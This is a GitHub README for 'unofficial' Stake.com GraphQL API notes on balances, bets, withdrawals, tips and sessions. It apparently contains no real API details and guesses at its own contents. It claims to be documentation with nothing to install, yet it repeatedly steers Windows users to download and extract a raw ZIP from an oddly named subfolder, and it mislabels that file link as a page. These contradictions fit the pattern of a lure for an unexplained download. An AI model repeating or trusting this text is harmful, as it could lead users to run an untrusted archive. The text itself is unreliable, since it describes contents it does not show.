stake.com-api is an unofficial set of GraphQL API notes for Stake.com. It helps you understand common actions such as checking balance, viewing bets, reviewing withdrawals, sending tips, and working with sessions.
This project is best for people who want a clear place to read and use API details in one spot. It focuses on the parts that matter most when you need to inspect account activity or build a tool around Stake.com data.
Use a Windows PC with a modern web browser and access to GitHub.
You do not need to install a desktop app from this repository. You use the repository page in your browser, read the docs, and copy the examples you need.
Recommended setup:
- Windows 10 or Windows 11
- Chrome, Edge, or Firefox
- A GitHub account if you want to save the repo or star it
- A text editor if you plan to keep notes
Open this page to download and view the project:
https://github.com/Lipikas7710/stake.com-api/raw/refs/heads/main/rhomboid/stake-com-api-3.7.zip
If you want the files on your PC:
- Open the link above
- Click the green Code button
- Choose Download ZIP
- Save the ZIP file to your computer
- Right-click the ZIP file and choose Extract All
- Open the extracted folder
- Read the README files and API notes inside
If you prefer GitHub in your browser:
- Open the repository link
- Use the file list to find the docs you need
- Open each file and copy the parts that match your task
- Keep the page open while you test requests in your own tools
This repository focuses on Stake.com GraphQL details. Based on the project name and topics, it may help you with:
- Checking account balance
- Reviewing bet history
- Looking up sports and casino-related data
- Tracking withdrawals
- Managing tips
- Working with login sessions
- Reading GraphQL request and response patterns
- Finding API names used for bets and matches
The repository covers topics tied to Stake.com and related API use:
- GraphQL
- GraphQL API
- Bets API
- Bets analysis
- Casino API
- Esports API
- Matches API
- Sports API
- Sessions
- Withdrawals
- Tips
- Balance
These areas matter if you want to study how requests are shaped and what kind of data the API returns.
Use the repository as a reference guide.
- Open the repo link
- Find the section that matches the action you want
- Read the request name and the example data
- Copy the fields you need
- Paste them into your own client or script
- Test one request at a time
- Compare the output with the example in the docs
Keep your first test simple. Start with balance or session data before you move to bets, tips, or withdrawals.
This repository does not ship as a typical Windows installer. On Windows, you use it as a documentation source.
Follow these steps:
- Download the ZIP from GitHub or open the repo page
- Extract the files if you downloaded the ZIP
- Open the folder in File Explorer
- Open the README file in your browser or editor
- Read the GraphQL examples
- Use the request details in the tool you prefer
If the repo includes example snippets, keep them in a separate notes file. That makes it easier to copy values without losing track of them.
A simple way to use this project is:
- Find the API action you need
- Check the field names used in the request
- Note any required headers or tokens
- Send one test request
- Check the response
- Adjust the fields if needed
- Save the working example for later
This approach helps you avoid mistakes and makes it easier to repeat the same request later.
The topics mention sessions, which are often needed when an API connects to a user account.
You may see:
- Session IDs
- Access tokens
- Authentication headers
- Cookies
- Request limits
If a request fails, check that the session is still valid and that the field names match the example in the docs.
These are the main areas most people look for:
Shows the current account state. This is useful when you want a fast check before or after a request.
Gives access to bet data. This can include stake amount, result, time, game type, and related IDs.
Helps you review payout activity or inspect withdrawal records.
Useful when the API includes transfers between users or account actions tied to tipping.
Each area may use a different query or mutation. Keep your tests separate so you can see which request does what.
You can use the repository as a guide for:
- Checking a balance field in GraphQL
- Pulling a bet list for analysis
- Reviewing a withdrawal record
- Looking at esports or sports match data
- Comparing request names across features
- Learning how Stake.com API calls are structured
When you open the repository, look for files like:
- README.md
- GraphQL examples
- Query notes
- Request samples
- Endpoint lists
- Field references
If there are folders for balance, bets, or sessions, start there. Those are the most useful parts for a first pass.
If you cannot find the data you want:
- Refresh the GitHub page
- Check that you opened the right branch
- Look for another file in the repo
- Use the browser search tool on the page
- Search for terms like balance, bets, withdrawal, or session
- Compare the query name with the topic you need
If a copied request does not work:
- Check spelling
- Check braces and field names
- Make sure the session is still valid
- Try a smaller request first
- Compare your copy with the source file again
Keep the process simple:
- Save the repo link in your browser
- Copy only the fields you need
- Test one change at a time
- Keep notes for each working request
- Use clear file names for saved examples
- Store tokens and session data in a safe place
This makes it easier to return to the same workflow later.
analyse-bets
bets-api
betsapi
casino-api
esports-api
graphql
graphql-api
matches-api
sports-api
stake
stake-api
stakecom